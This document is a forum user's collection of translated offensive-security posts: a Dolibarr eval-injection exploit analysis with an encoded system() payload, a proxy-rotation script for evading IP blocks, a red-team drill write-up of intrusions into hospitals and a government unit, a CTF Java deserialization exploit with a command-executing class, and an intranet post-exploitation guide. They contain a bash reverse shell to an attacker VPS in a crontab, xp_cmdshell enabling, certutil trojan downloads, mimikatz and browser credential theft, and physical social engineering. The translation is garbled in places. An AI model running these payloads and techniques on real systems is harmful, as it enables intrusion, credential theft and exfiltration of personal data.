Everything posted by UKhackteam
-
Title: CVE-2022-40871 Dolibarr arbitrarily adds administrator and RCE vulnerability analysis
0x01 Vulnerability Introduction Dolibarr ERP CRM=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval. CVE number: CVE-2022-2633 Vulnerability description: Dolibarr edit.php has a remote command execution vulnerability. After an attacker creates an administrator through a logical vulnerability, he can obtain server permissions through a background vulnerability. Affected version:=15.0.3 0x02 Vulnerability Analysis 1.Environmental construction Source code download address: https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip Unzip it into the web directory and access it directly ~/htdocs/ Then configure conf/conf.php to install 2. Register any administrator user This is actually a logical vulnerability. After installing the system, it will not lock it, but requires the user to manually add it in the documents directory, so we can enter here at any time to add the administrator account: ~/install/step4.php For example, I will add aaa user here Can successfully enter the background 3.Backend RCE The last point of the background RCE is in the dol_eval() function of htdocs/core/lib/functions.lib.php But there is a waf here, and most of the dangerous functions are banned //We block use of php exec or php file functions $forbiddenphpstrings=array('$$'); $forbiddenphpstrings=array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST')); $forbiddenphpfunctions=array('exec', 'passthru', 'shell_exec', 'system', 'proc_open', 'popen', 'eval', 'dol_eval', 'executeCLI'); $forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('fopen', 'file_put_contents', 'fputs', 'fputscsv', 'fwrite', 'fpassthru', 'require', 'include', 'mkdir', 'rmdir', 'symlink', 'touch', 'unlink', 'umask')); $forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('function', 'call_user_func')); $forbiddenphpregex='global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b'; do { $oldstringtoclean=$s; $s=str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s); $s=preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s); //$s=preg_replace('/\$[a-zA-Z0-9_\-\$]+\(/i', '', $s); //Remove $function( call and $mycall-mymethod( } while ($oldstringtoclean !=$s); if (strpos($s, '__forbiddenstring__') !==false) { dol_syslog('Bad string syntax to evaluate: '.$s, LOG_WARNING); if ($returnvalue) { return 'Bad string syntax to evaluate: '.$s; } else { dol_syslog('Bad string syntax to evaluate: '.$s); return ''; } } //print $s.'br\n'; if ($returnvalue) { if ($hideerrors) { return @eval('return '.$s.';'); } else { return eval('return '.$s.';'); } } else { if ($hideerrors) { @eval($s); } else { eval($s); } } Here we look for the call of dol_eval(), and the above verifCond() is called And here is a splicing, and we will talk about this later. function verifCond($strToEvaluate) { global $user, $conf, $langs; global $leftmenu; global $rights; //To export to dol_eval function //print $strToEvaluate.'br\n'; $rights=true; if (isset($strToEvaluate) $strToEvaluate !=='') { $str='if(!('.$strToEvaluate.')) $rights=false;'; dol_eval($str, 0, 1, '2'); } return $rights; } Then look for the global parameters controllable calls of the verifCond function. There is a point in the menuLoad() function in menubase.class.php. You can see that although the verifCond code is controllable, it is obtained from the query results in the database. Pay attention to perms and enable, both of which can be directly entered into verifCond $resql=$this-db-query($sql); if ($resql) { $numa=$this-db-num_rows($resql); $a=0; $b=0; while ($a $numa) { //$objm=$this-db-fetch_object($resql); $menu=$this-db-fetch_array($resql); //Define $right $perms=true; if (isset($menu['perms'])) { $tmpcond=$menu['perms']; if ($leftmenu=='all') { $tmpcond=preg_replace('/\$leftmenu\s*==\s*['\'a-zA-Z_]+/', '1==1', $tmpcond); //Force part of condition to true } $perms=verifCond($tmpcond); //print 'verifCond rowid='.$menu['rowid'].' '.$tmpcond.':'.$perms.'br\n'; } //Define $enabled $enabled=true; if (isset($menu['enabled'])) { $tmpcond=$menu['enabled']; if ($leftmenu=='all') { $tmpcond=preg_replace('/\$leftmenu\s*==\s*['\'a-zA-Z_]+/', '1==1', $tmpcond); //Force part of condition to true } $enabled=verifCond($tmpcond); } Let's go to the front to see the SQL statement executed here. It is querying the data from the '.MAIN_DB_PREFIX.' menu table, but there is a WHERE conditional statement m.entity IN (0,'.$conf-entity.') m.menu_handler IN (''.$this-db-escape($menu_handler).'','all') So if we can find an INSERT statement in '.MAIN_DB_PREFIX.' menu, we can control the perms and enable fields and entity and menu_handler can meet the WHERE conditions. Please note that entity comes from $conf-entity $sql='SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position'; $sql .=' FROM '.MAIN_DB_PREFIX.'menu as m'; $sql .=' WHERE m.entity IN (0,'.$conf-entity.')'; $sql .=' AND m.menu_handler IN (''.$this-db-escape($menu_handler).'','all')'; if ($type_user==0) { $sql .=' AND m.usertype IN (0,2)'; } if ($type_user==1) { $sql .=' AND m.usertype IN (1,2)'; } $sql .=' ORDER BY m.position, m.rowid'; Just search here for regular search. There is indeed such a point, the create() function in the same file. Next, we need to see if the parameters are controllable. The VALUES here is set as a member attribute, but entity is $conf-entity, which directly meets the conditions, because the above SQL query is also this Next, I found that menu_handler will be automatically filled in when executing menuLoad function. So both WHERE conditions have been solved. The rest is to see whether perms and enable are controlled. There is no place to assign member variables inside the class, so you have to search globally. It is found that perms and enable can be directly controlled in menus/edit.php After debugging, it was found that menuId needs to be unique, otherwise it will conflict and cannot be written to the database. The type here needs to be set to 1, otherwise an error will be reported. Next, we can study how to bypass waf and execute eval. Here the author's approach is to use the characteristics of php: variable functions //file_put_contents $a=base64_decode('ZmlsZV9wdXRfY29udGVudHM='); //shellcode $a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg==')); Looking at the verifCond function Here is a string splicing. Since it is executed eval, we can close its brackets and comment out the following code. function verifCond($strToEvaluate) { global $user, $conf, $langs; global $leftmenu; global $rights; //To export to dol_eval function //print $strToEvaluate.'br\n'; $rights=true; if (isset($strToEvaluate) $strToEvaluate !=='') { $str='if(!('.$strToEvaluate.')) $rights=false;'; dol_eval($str, 0, 1, '2'); } return $rights; } This is such a payload (harmless payload 1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);// Then put the enable parameter and store it in the database, and finally the package is as follows Successfully stored in the database Debug and enter verifCond Follow up on verifCond, malicious construct stitching bypass, enter dol_eval Code execution successfully Successful getshell Vulnerability call stack 0x03 Vulnerability Summary The principle of this RCE vulnerability here is actually similar to secondary injection. First, the malicious code is stored in the database, and then the malicious code is triggered when extracting data from the database. A waf is also bypassed here, which uses the php feature —— variable function Vulnerability fix Here, the author's fix for the vulnerability is to strengthen the verifCond function Here the string splicing is cancelled and the fourth parameter of dol_eval is '1' This will go into the following judgment. Look at the comments here, the rules here are designed to prevent RCE. One is the enhancement of the dol_eval function. Here, the forbiddenphpfunctions adds the verifCond function, which directly prohibits the execution of verifCond, but I don't know what the meaning of this hhh Author: Huamang Reprinted from the original text connection: https://blog.huamang.xyz/post/cve-2022-40871/
-
Title: Automated IP Address Pool Script - Auto_proxy
Use Python scripts to automatically generate Clash configuration files to realize FUZZ automatically switch IP. Now Blue Dog is blocking IPs too fast. Thinking about the days when he used Burp to blast and block IPs, he wanted to cry. Don't ask me why I don't need flying fish, it's too expensive. 0x00 Purchase IP address pool Purchase by recommending balance packages. This script is more cost-effective to pay with balance payment. http://http.py.cn/pay/?paytype=banlance 0x01 Get API interface After purchasing the package, choose "API Extraction" to directly extract, and the recommended configuration is as follows: 1. Balance withdrawal. 2. Use it for a long time and you need to choose it as needed. It is recommended to choose 25 minutes to 180 minutes. 3. The recommended number of extraction is 5-10, and the local tyrants can do whatever they want. 4. It is recommended that provinces be mixed and choose their own province or nearby province to increase the access speed. 5. Currently, this proxy protocol only supports SOKCS5 connection. 6. Select Json format for data format to facilitate script parsing. 7. Select all attributes to check, otherwise an error will occur. 8. IP removal for 365 days. 0x02 Deployment Instructions Copy the Auto_proxy code (Auto_proxy_example.yaml, Auto_proxy.py, proxyIgnoreList.plist) to the Clash configuration file directory. Windows default: Clash\Data\profiles\Mac default: ~/.config/clash/ Modify the Auto_proxy.py related configuration, the main parameters are as follows. test_url: The IP address that needs to be monitored for testing. py_api: Pinyi API interface obtained in the previous step. max_connect_error: Number of error connections, N consecutive connection errors, re-acquire the proxy. Whitelist configuration, please refer to https://www.cnblogs.com/PowerTips/p/14775956.html Windows: Add cfw-bypass configuration in Auto_proxy_example.yaml. Mac: Just use proxyIgnoreList.plist in the project directly, and it needs to be restarted and effective. Note: Be sure to add *.taolop.com to the whitelist, otherwise it may cause the proxy to expire and keep retrieving the proxy. 0x03 Instructions for use Execute python3 Auto_proxy.py in the Clash directory, and select the configuration of Clash as Auto_proxy. Clash needs to be configured in global mode and the system proxy is set at the same time. Currently, the script sets two rules: Acceleration mode: Select the lowest latency agent according to the monitoring website. Load Mode: Each request will connect randomly with a proxy. Load mode operation effect: When the operation error exceeds the set threshold, it will prompt "IP has been blocked, re-acquire the proxy". At this time, Clash prompts "Reload the configuration file", and you need to manually click to update. 0x05 Usage effect This effect mode is load mode. Please test Dirsearch. Please test other tools yourself. Target machine side: python3 -m http.server 8000 Attack side: python3 dirsearch.py -u http://X.X.X.X:8000 --proxy=http://127.0.0.1:7890 At the same time, there are 10 IP explosion directories, and I will ask you if you are panicked!
-
Title: Remember an interesting city offensive and defense drill experience
0x00 Write a word at the beginning This time the offensive and defensive attack was quite interesting. At the beginning, the computer was very annoyed. In the end, if there was no computer, he could only use the computer sold to output it wildly. After a while, our private target was eliminated. This time, there were still some problems with the rules and the system to each team, not according to the target unit. Others assigned some of our private targets to some basic and data points and then they were eliminated. Then they only scored 100 path points. Old 6 stared at our private targets. There was a hole in the office that we didn't have, and we wore it as soon as the target was released. It was blamed for being too naughty. The ranking was ideal, and the final ranking was third. It was okay to be ranked in the top three with two technical brothers without back-end support. The first two heavyweights didn't have the championship. One submitted 0day and the other famous back-end support. In the end, the scores of the top two were more than half higher than ours. After talking nonsense, let’s start our content. Don’t blame the strict code masters. At the end of the article, the masters are welcome to leave comments to communicate. 0x01 Target A hospital's weak password for external network The first day I divided the private target and the public target. This target is a public pool target. Fortunately, a weak password on the external network is directly in. The main thing is to know the IP address. There is no technical content when breaking through to the intranet. The goal is to give an official website address. It is estimated that the masters of other teams have gone to the official website IP on the cloud. Later, we also obtained all permissions through the password files on the dedicated shared server for the information science department. Attack Path Next, I will explain the intranet attack process according to the serial number marked on the picture above. Path 1/Path 2 Weak password for external network Here we talk about how this target IP came about. Collect C segment information through the IP address to find the h3c device. Log in to the default audit account password and go to the console to check the corresponding authorization information to confirm that it is the target IP address. However, the audit account does not have permission to configure the VPN tunnel, so I did a full-port scan and found a non-standard port ssh weak password. After getting the server permissions, I first did a rebound shell planning task. crontab -eEdit plan tasks bash -c 'exec bash -i /dev/tcp/you vps ip/you vps port 1' I only went to fscan to scan after finishing the planned task and found that there were many weak ssh and mssql passwords in the intranet. I made several more ssh rebound shell planning tasks to prevent the action from falling too much in a while. You can get a lot of weak passwords in the intranet. Create a frp to make it easier to go to the intranet to translate things in a while, and download the corresponding compiled version. Project address: https://github.com/fatedier/frp frp server [common] bind_port=8945 frp client [common] server_addr=you vps ip server_port=8945 tls_enable=ture pool_count=5 [plugin_socks] type=tcp remote_port=35145 plugin=socks5 #Certification Remove the following two lines without authentication plugin_user=admin plugin_passwd=Admin@123 use_encryption=true use_compression=true Execute on vps ./fprs -c frps.ini Execute on the springboard machine ./fprc -c frpc.ini After confirming that the connection is fine, nohup to the background. If you use VPS like Tencent Cloud or Alibaba, remember to open the corresponding port in the port group, otherwise the connection cannot be made, and the proxifier is sure to be available. Path 3 Operation and maintenance machine Here is an operation and maintenance terminal host that uses the mssql weak password scanned just now. # Enable xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp_cmdshell', 1;RECONFIGURE; # Command execution exec master.xp_cmdshell 'whoami' Related Articles https://www.cnblogs.com/websecyw/p/11016974.html Make sure that the normal execution of the command is a system permission, download the certutil Trojan online, and after catching the password, make sure that the administrator does not go to the desktop remotely online. Path 4 All permissions of the server Only when you remotely go to the terminal did you know that this machine is an operation and maintenance machine. The SQL Server connection software is opened on the terminal, and the command above is used to enable xp_cmdshell to execute the command. Here, the SQL Server database has performed a downright operation, and the permission is the SQL Server service permission. When I was on the horse, I always had problems. The permissions were too low. The Huofeng Enterprise Edition on it was turned on. The temp directory was not written in, so I only took the SQL Server permissions. After testing, I still couldn't turn off Huofeng. It should be that the SQL Server permissions were lower. Later, I found that the Huofeng console could distribute files and automatically execute Maozi, so I didn't care. This can be reproduced later and studied the environment. Check the password saved by the browser. The Firefox browser saves the account password of the Turquoise console, as well as the account passwords of some other platforms. You can bump into the password after collecting the passwords. Search for keywords in everything file, and carefully flip through the files of the server and terminal, maybe you will get unexpected results. Password|Information Department|Asset Table|Topology|Account|Equipment|pass|user|config|Management|Planning Advanced usage of ereryting (regular expression), you can also use content to search file content, and the search for file content is slower. Ererything related articleshttps://www.jianshu.com/p/9c0ab75a264f I found the device password information and topology information on the computer All information about the device server Basically, all network devices and server permissions are available. Here we sort out the password to bump the password. When sorting out the password, we found that this password is a regular password. We sort out the password rules and use social worker password generation scripts to generate some passwords. Tool download address: https://github.com/cityofEmbera/CPassword The tool is relatively simple to use. We only need to modify the name in username.txt. There are rules in dict.txt, and we can also make some changes, such as adding some rules in the password, as well as recent year information, such as: @2013 @2014 @2015 @2016 @2017 @2018 @2019 @2020 @2021 @2022 #2013 #2014 #2015 #2016 #2017 #2018 #2019 #2020 #2021 #2022 123!@# !@#123. @233 !@#345 !@#qwe python3 createDict.py will automatically generate a password file, and the password is saved in the createdict.txt file. After the password is generated, it will be thrown to kscan to specify the password file to collide with the password. kscan.exe -t 10.0.0.0/8 --hydra --hydra-pass file:pwd.txt Path 5 Turfur console file distribution Here is the function of distributing files using the Turquoise console, and it is also automatically executed after the distribution of the Magic Ha file. Niu, Niu, Niu I don’t know why my browser stuck when I open the console. I asked Master J to show me the file and directly distributed it. All the machines installed with turquoise are online, and some intranet machines are not online. Here, if there is any problem with CS 4.3, you can choose to transfer the listener to generate the file. After looking at a target machine, Wuhu scores are basically full. The points for servers, network equipment, terminals plus 40,000 data with citizenship information found in the recycling bin, and 6k of them have been obtained. Path 6 Cloud Assets Here I call an information sharing server. I bumped into the password and password I just collected. There are also weak passwords on the SQL Server above that can also execute commands, because there are too many weak passwords in the previous sa, and none of them will be called one by one. If you have passwords here, just use the tool to type them online. I just flipped through the file and found that there was a special folder for information science on the E disk. I found out that I had obtained the assets on the cloud. Path 7 Domain Name Permissions Log in with the account password just now to obtain domain name resolution permissions Cloud server permissions, one of which is the official website server, and it is the target of other teams. Path 8 Cloud Server Permissions Directly log in to Alibaba Cloud console and use c2 to generate powershell online A comprehensive hospital This goal is to open social workers and have close sources on the third night after the start. Attack Path Path 1 wifi password Open Social Workers and Jinyuan immediately signed up that day. After dinner, I changed my work clothes and rushed to the hospital with my mobile phone. I used to browse kali nethunte on my mobile phone, and compiled some arm versions of tools. It was enough to build a foothold on the intranet. After arriving at the scene, open the wifi master key to search for nearby wifi Connect to wifi to confirm that you can access the target IP address, scan the QR code on WeChat to retrieve the password, and then bump the password on the intranet later. The gateway address is found to be an exit device with h3c. If the weak password logs on the device, there is a network segment information to scan the corresponding network segment according to the network segment information. Path 2 Sunflower rce kscan specified wifi password file crashes into the passwords of fragile ports such as 3389, 22, and 1433, and gets an intranet machine and an external network machine. There is a Sunflower Rce vulnerability in the external network machine. Whoami seems to have sunflower hung up afterwards (I don’t know what the problem is here, but the reason is not found). After executing the command afterwards, it will not be displayed. Log in remotely with your password and find that Sunflower has been reconnecting and exiting and reopening is the same. After getting the horse on, just in case of installing a todesk for a while, you can remotely get it done. Path 3 Target Machine Through the external network springboard remote machine todesk, I directly scanned the internal network server network segment and bumped into the password to knock out a machine. I found that the server was installed with todesk and saved the todesk remote of three target machines. It was so happy. Add the data on the terminal his system just now, and the 6k score is full A specialized hospital This hospital closed at night, and passed early the next morning. It was a bit embarrassing to enter the hospital and died of the community. At that time, I didn’t check what type of hospital this hospital was. There was no wifi at the door, so I could only go in. When I entered, the doctor at the door was still the guard at the door asked me what department I was in. Men's degree? Gynecology? I: Then I looked at my neck with a little allergic reaction and said I was in a dermatology department? Me: Yes Yes Yes Yes Dermatology After entering, I searched for information about this hospital and I knocked on it. It seemed like a specialty hospital. I went in and registered and waited there. There seemed to be no doctor in this hospital who specialized in dermatology. After registering, I waited for more than an hour. I turned on my phone and sat on wifi and started scanning the internal network. Before the doctor could get a springboard machine and get on the horse, it was yo-yo. There was only one orphan machine in the intranet. Attack Path Path 1 wifi password The same wifi master key goes in Path 2 Target Machine Scan the intranet here and found that an ms17010 is a win2012 machine. Try to execute msf directly on the mobile phone with a single command. There is a 360 plus account on the machine that cannot be added. Certutil tried it and saw that there is no Sunflower process. Then we can directly read its configuration file and decrypt it directly to the machine. Configuration file path Installation version: C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini Portable version (green version): C:\\ProgramData\\Oray\\SunloginClient\\config.ini I tried these two files It should be a higher version. You can try to find it in the registry. I have read 360 and I hope I won't intercept it. # Registry query reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo Wuhu did not intercept it, just throw it into the tool to decrypt it Sunflower decryption tool address: https://github.com/wafinfo/Sunflower_get_Password The tool is simple to use. After git, install unicorn, then execute python3 to enter the encry_pwd field obtained in our registry just now, and enter it into the script according to the prompts. Verify that you can connect, and Sunflower can directly get the host's permission remotely, and it's yo-yo. A certain ZF unit This unit has nothing to do. In the last few days, I went to ZF Street to lie on the corner of the wall. I took this into account a case. After getting the export equipment, I can build a VPN, and directly use l2TP to build a tunnel to enter the intranet. I tried my best to keep the top three positions. Attack Path There is no screenshot for this, you can read the article below, the key steps here. Reference article: https://zhiliao.h3c.com/questions/dispcont/146895 https://baijiahao.baidu.com/s?id=1716025203844234922amp;wfr=spideramp;for=pc If the VPN cannot be built or the device does not have the VPN authorization, but it has Nat and telnet functions, if you have enough patience, you can also refer to the ideas of my previous article, use telnet to test the fragile ports of the intranet to map to the external network, write a script to batch test to improve efficiency, and you didn't have time to write it back from the last game. Article address: https://forum.butian.net/share/1633 0x02 Summary This time, I didn’t have much money to break through to the intranet. It was mainly because of the horizontal attack and defense of the intranet. When I was taking the target system in the first hospital, xp_cmdshell attacked the target machine from the operation and maintenance machine. The SQLServer database was depreciated and the temp directory could not be written. I couldn’t get the target system above. The file was distributed through the Turfur console. In fact, I had already obtained the Turfur console at the beginning. I was afraid that the impact would be too great if I didn’t use this function. I just used it later. I still had to learn how to use the SQLServer I know. I still had too few sqlserver usage postures and I had to learn. The latter were basically all social workers. I got the third place in the paddling. If the computer broke down, I used the sales computer and it took too much time to configure the environment. Recently I also saw a good article about SQLServer sharing a wave. The community masters have many postures. https://forum.butian.net/share/1390 Some things summarized by recent offensive and defensive operations, welcome to communicate with the masters Some tips summary: Check out the outside network Asset collection ENScan_GO space drawing survey fofa/360quake/shadow/zoomeye/hunterkunyu/fofa_viewer/infoSearchAll lightweight scanner kscan service identification can be used to cooperate with fofa to quickly identify fscan c segments quickly identify subdomain corresponding IP C segments quickly scan subdomain information collection oneforall/subfinder/ksubdomain quickly filter real IP generation C segments Eeyesweb fingerprint recognition EHole is a good tool, you can add fingerprint and space drawing engine interface tide tidal fingerprint web online detection TideFingerhttpx Get web title status code Intranet host information collection Everything file search (regular expression improves efficiency) Password saved by browser/WeChat/QQ folder/Recycle Bin/Shared disk/mail software/Corporate software Remote software Remote connection saved by remote software mstsc/Intranet connection/Sunflower/Todesk and other common intranet vulnerabilities such as Intranet Sunflower rce (Sunflower is really cool) weblogics2redis shiro original address: https://forum.butian.net/share/1719
-
Title: Xiangyun Cup 2022 writeup
0x01 web 1.ezjava Download the source code to decompile the jar file, and find that POST /myTest will have deserialization vulnerabilities util, it seems to be useless in the end Check the program and find that the common-collections4 of apache, and its deserialization utilization class has not been patched. I saw commons-collection4-4.0 at a glance, so I directly used ysoserial to hit it The test site found that it is cc4 Attached article Plus spring-ech has ready-made pocs on the Internet Make wheels! package moe.orangemc; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue; public class Main { public static void main(String[] args) { try { ClassPool classPool=ClassPool.getDefault(); CtClass ctClass=classPool.getCtClass('Meow'); byte[] bytes=ctClass.toBytecode(); TemplatesImpl templates=new TemplatesImpl(); Field f1=templates.getClass().getDeclaredField('_name'); Field f2=templates.getClass().getDeclaredField('_bytecodes'); f1.setAccessible(true); f2.setAccessible(true); f1.set(templates, 'Meow'); f2.set(templates, new byte[][]{bytes}); TransformerClass? Object chainedTransformer=new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})); TransformingComparatorClass? Object transformingComparator=new TransformingComparator(chainedTransformer); PriorityQueueInteger queue=new PriorityQueue(2); queue.add(1); queue.add(1); Field f=queue.getClass().getDeclaredField('comparator'); f.setAccessible(true); f.set(queue, transformingComparator); Field f3=queue.getClass().getDeclaredField('queue'); f3.setAccessible(true); f3.set(queue, new Object[] {chainedTransformer, chainedTransformer}); ByteArrayOutputStream baos=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(baos); oos.writeObject(queue); oos.close(); String result=new String(Base64.getEncoder().encode(baos.toByteArray())); System.out.println(result); } catch (Exception e) { e.printStackTrace(); } } } According to the above code, it is found that it cannot be echoed, but according to Baidu, it can be used to echo using apache catalina. At the same time, this class library : is included in the package. Write malicious classes: import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Meow extends AbstractTranslet { public Meow() { super(); this.namesArray=new String[]{'meow'}; try { java.lang.reflect.Field contextField=org.apache.catalina.core.StandardContext.class.getDeclaredField('context'); java.lang.reflect.Field serviceField=org.apache.catalina.core.ApplicationContext.class.getDeclaredField('service'); java.lang.reflect.Field requestField=org.apache.coyote.RequestInfo.class.getDeclaredField('req'); java.lang.reflect.Method getHandlerMethod=org.apache.coyote.AbstractProtocol.class.getDeclaredMethod('getHandler',null); contextField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase= (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext=(org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService=(org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors=standardService.findConnectors(); for (int i=0;iconnectors.length;i++) { if (4==connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler=connectors[i].getProtocolHandler(); if (protocolHandler instance of org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes=org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j=0; j classes.length; j++) { if (52==(classes[j].getName().length())||60==(classes[j].getName().length())) { System.out.println(classes[j].getName()); java.lang.reflect.Field globalField=classes[j].getDeclaredField('global'); java.lang.reflect.Field processorsField=org.apache.coyote.RequestGroupInfo.class.getDeclaredField('processors'); globalField.setAccessible(true); processorsField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo=(org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null)); java.util.List list=(java.util.List) processorsField.get(requestGroupInfo); for (int k=0; k list.size(); k++) { org.apache.coyote.Request tempRequest=(org.apache.coyote.Request) requestField.get(list.get(k)); System.out.println(tempRequest.getHeader('tomcat')); org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request) tempRequest.getNote(1); String cmd='' + 'cat /flag' +''; String[] cmds=!System.getProperty('os.name').toLowerCase().contains('win') ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; java.io.InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner s=new java.util.Scanner(in).useDelimiter('\n'); String output=s.hasNext() ? s.next() : ''; java.io.Writer writer=request.getResponse().getWriter(); java.lang.reflect.Field usingWriter=request.getResponse().getClass().getDeclaredField('usingWriter'); usingWriter.setAccessible(true); usingWriter.set(request.getResponse(), Boolean.FALSE); writer.write(output); writer.flush(); break; } break; } } } break; } } } catch (Exception e) { } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } After going around, I found the modified version of Master Y4er's ysoserial https://github.com/Y4er/ysoserial Try cc4 combined with TomcatCmdEcho memory horse java -jar ysoserial-main-1736fa42da-1.jar CommonsCollections4 'CLASS:TomcatCmdEcho' | base64 When sending packages, please delete Content-Type The command was successfully executed when the second sending
-
Title: General method of penetration after the boundary agent is used to hit the third layer of intranet +
External networks and internal networks usually use web vulnerabilities to obtain shells A large part of the information collection of intranet revolves around the network topology diagram. You can find it by social work operation and maintenance or google. Intranet diffusion information collection Overview Intranet information collection intranet network terminal information: topology, partition intranet core business information oa system, mail server, monitoring system. Other Windows and Linux host information collection, the better the intranet information collection, the faster the call is Common methods to actively scan. Commonly used tools : analysis of intranet topology architecture for common ports and services such as nmap, netdiscover, nc, masscan, self-written scripts. For example, commands such as dmz, test network, etc. collect native information, and the traffic of nmap is very large. Because nmap uses many ways to scan, the accuracy is high and the traffic is high, so external networks can use it Active scanning leaves many traces and is difficult to understand. Passive scanning takes a long time. Scan according to the situation Generally, you should scan port 80 first, etc. Because external websites may be very good, intranet websites are bad, and web vulnerabilities such as sql injection and xss are one by one. Active scanning ping command to scan the surviving host in the intranet Advantages : is convenient, generally does not cause alarm disadvantages of traffic detection equipment: slow scanning speed, open the target with firewall, the result will be inaccurate nmap scan the surviving host (icmp scan) nmap -sn -PE -n -v -oN 1.txt Target IP parameters: -sn does not perform port scanning; -PE does icmp echo scan; -n does not perform reverse analysis; -v output debugging information; -oN output nmap scan to scan the surviving host (arp scan) nmap -sn -PR -n -v Target IP parameters: -PR represents arp scan, in the intranet the fastest arp scan speed and high accuracy use netdiscover scan (arp scanning tool, which can be active scanning or passive sniffing) netdiscover -i eth0 -r Target IP Parameter description :-i: specifies an interface; -r: Specify the scan range Note : The longer the netdiscover time, the more accurate it is. You can find that a certain host has intervened in those network segments for a period of time, and thus discover other new network segment addresses. Use the nbtscan tool to quickly scan the surviving PC terminals, and at the same time obtain NETBIOS (windows up input and output service, port 139) nbtscan -r Target IP Port and Service Scan Detect the target open port nmap detection: nmap -Pn -n Target IP (ping scan is disabled) masscan scan: masscan -p port number Target IP address --rate=10000#Scan the port with 10kpps speed Detect the target operating system using NSE script :nmap --script smb-os-discovery.nse -p 445 Target IP address : smb-os-discovery.nse script uses smb to detect operating system version, computer name, workgroup name, domain name, etc. --script Specify script Use nmap -O to detect operating system version nmap -O Target IP scan the CVE vulnerability of the host nmap --script=vuln Target IP Common commands for intranet Command description net user native user list net view query machine list in the same domain net localgroup administrators view local administrators view native administrators user /domain query domain user net group /domain query workgroup in the domain net group 'domain admins"/domain query domain administrator user group net localgroup administrators /domain login to local domain net localgroup administrators workgroup \user /add domain user to the native net group 'Domain controllers' view domain control/domain is domain penetration parameters. Domain management has a machine with high permissions. After taking it down, the server that can control the entire domain is called domain control. dsquery domain command (write domain penetration later) command function dsquery computer domainroot -limit 65535 net group 'domain computers'/domain lists all machine names in the domain dsquery user domainroot -limit 65535 net user /domain lists all user names in the domain dsquery subnet lists network segment divisions dsquery group net group /domain lists groups in the domain dsquery ou lists organizational units in the domain dsquery server net time /domain lists controllers in the domain Winter host information collection Here is the information collection after obtaining the highest permissions. Mainly collect content system administrator password (hash-plain text) session of other users, 3389, IPC connection records, and the collection of browser passwords and cookies for each user recycling bin information. Get windows wireless password to get database password to get host files, dns cache information antivirus software, patches, processes, network proxy information sharing folders, web server configuration files and other planned tasks, account password policy, locking policy Winters various information collection Tools: mimikatz, wce, getpass, quarkspwdump, reg-sam, pwdump7 and other cmdkeys are used to save username and password credentials. cmdkey /list view credential location netpass.exe obtain password Recycle bin information obtain entry into the recycling bin folder cd C:$RECYCLE.BIN (This folder is a hidden folder, dir /ah view content, a specified attribute h means hidden) Get wireless password netsh wlan export profile interface=WLAN key=clear folder=C:\Get the browser's cookie and storage password (chrome)%localappdata%\google\chrome\USERDATA\default\cookies%localappdata%\googlelchrome\USERDATA\default\LoginDatachrome's user information is saved in the local file. It is a SQLite database format. Use mimikatz to read content.mimikatz.exe privilege:debug log 'dpapi:chrome /in:%localappdata%google\chrome\USERDATA\default\cookies /unprotect' Windows information collection under 